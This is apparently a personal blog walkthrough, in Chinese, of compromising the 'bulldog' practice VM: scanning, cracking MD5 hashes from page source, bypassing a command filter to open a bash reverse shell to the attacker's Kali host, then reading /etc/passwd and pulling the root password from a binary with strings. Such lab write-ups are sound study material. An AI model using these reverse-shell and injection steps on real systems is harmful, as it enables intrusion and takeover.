bulldog靶机复现

注:个人笔记,有点简陋,仅供参考。

准备:把kali和靶机设置为同一网段(NAT)

信息搜集

主机扫描

nmap -sP -T4 10.4.7.0/24

扫描出靶机IP为:10.4.7.134

扫描端口、服务

nmap -A -T4 -p- 10.4.7.134 -sV

发现扫描出了23、80、8080端口,开放了 ssh 和 http 服务

渗透测试

扫描目录

该靶机开放了80端口,使用IP地址在浏览器进行访问

然后扫描目录

dirb http://10.4.7.134/

得到以下目录:
http://10.4.7.134/admin/
http://10.4.7.134/dev/
http://10.4.7.134/dev/shell/

访问目录

  1. http://10.4.7.134/admin/ ,发现是一个登录框,我们目前并没有账密,可以登录其他网页寻找线索
  1. http://10.4.7.134/dev/
  1. http://10.4.7.134/dev/shell/

回到 http://10.4.7.134/dev/,F12或右键查看源代码,发现一一对应的可疑邮箱与疑似哈希密码串,猜测其为用户名及密码

尝试进行解密:

MD5在线解密

MD5在线解密

  • 依次尝试获取到的密码串,发现最后两个解密成功
用户名 密码
alan 破解失败
william 破解失败
malik 破解失败
kevin 破解失败
ashley 破解失败
nick bulldog
sarah bulldoglover

尝试进行登录,登录成功

用户名:sarah

密码:bulldoglover

在网页http://10.4.7.134/dev/shell/ 刷新后发现可以进行访问

命令注入与nc反弹shell

  • 由于部分命令被过滤,下面尝试绕过反弹shell

在kali中使用nc进行监听

在此输入 echo 'bash -i >& /dev/tcp/10.4.7.135/8888 0>&1' | bash 尝试反弹

  • 由于 echo 是可以使用的,这里利用 echo 构建一个反弹shell的命令,然后用管道符交给 bash 执行

然后run运行,运行后发现kali已经收到了反弹shell

  • 此时已成功进入系统,但权限还不是root,下一步进行提权操作

提权

  • 切换成 root 用户的前提是需要知道 root 用户的密码,所以我们这里的主要目标是在有限的权限里搜集到 root 的密码,完成提权
  1. 查看有哪些用户,输入 cat /etc/passwd 查看用户,发现 bulldogadmin 用户
  1. 进入该用户的家目录
  1. 输入 ls -la 查看隐藏文件,发现隐藏目录 .hiddenadmindirectory
  1. 输入 cd .hiddenadmindirectory 进入该目录,ls -la 查看隐藏文件,发现 customPermissionAppnote 两个文件
  1. 分别进行查看,并没有发现什么有用的信息

cat customPermissionApp 乱码

cat note ,

  1. 利用 strings 查看可执行文件中的内容,发现疑似密码
    • strings 命令用来提取和显示非文本文件中的文本字符串

标红位置中猜测可能是密码,应为 SUPERulitimatePASSWORDyouCANTget, 可以把他们连到一起正好是 SUPERultimatePASSWORDyouCANTget ,H是来混淆的,中间刚好有PASSWORD

  • 展开密码串为:SUPERultimatePASSWORDyouCANTget

尝试 su -i ,直接切换 root ,发现并不能执行

可以用Python调用本地的shell实现,命令如下:
python -c 'import pty; pty.spawn("/bin/bash")'

然后切换为 root ,需要加上 sudo 才能执行

shdo su -

提权成功

获取flag

相关推荐
老当益壮梁奶奶7 小时前
Linux软件编程学习笔记(二)Linux文件IO编程入门:从fopen到fgetc
linux·c语言·c++·笔记·学习
sunoo-2297 小时前
C 语言文件 IO 全攻略:从基础函数到实战踩坑(BMP 读取 + 词典查询)
linux·c语言·前端·笔记·vscode·学习
蒸蒸yyyyzwd8 小时前
cpp选手秋招学习笔记 day12
笔记·学习·oracle
Wang's Blog8 小时前
PostgreSQL笔记38:慢查询定位与优化的系统方法论
数据库·笔记·postgresql
XiaQ09198 小时前
Linux 常用命令学习笔记(用户管理篇):用户、组与权限的钥匙
linux·开发语言·笔记·学习
He BianGu8 小时前
【笔记】使用Assembly.LoadFrom和AssemblyLoadContext加载插件对比,以及有没有更合适的加载插件方案
笔记
hhwyqwqhhwy9 小时前
正点原子-ZYNQ7020 开发笔记
笔记
LuminousCPP9 小时前
栈和队列专题(四):LeetCode 232. 用栈实现队列|双栈分工 + 按需迁移 + 摊还 O(1)
c语言·数据结构·笔记·算法·leetcode
GGMM7899 小时前
富士 EP‑3957E‑C4 电源驱动板维修实战笔记
笔记·变频器·变频器维修
Wang's Blog9 小时前
PostgreSQL笔记37:数据库性能瓶颈排查方法论与工具链
数据库·笔记·postgresql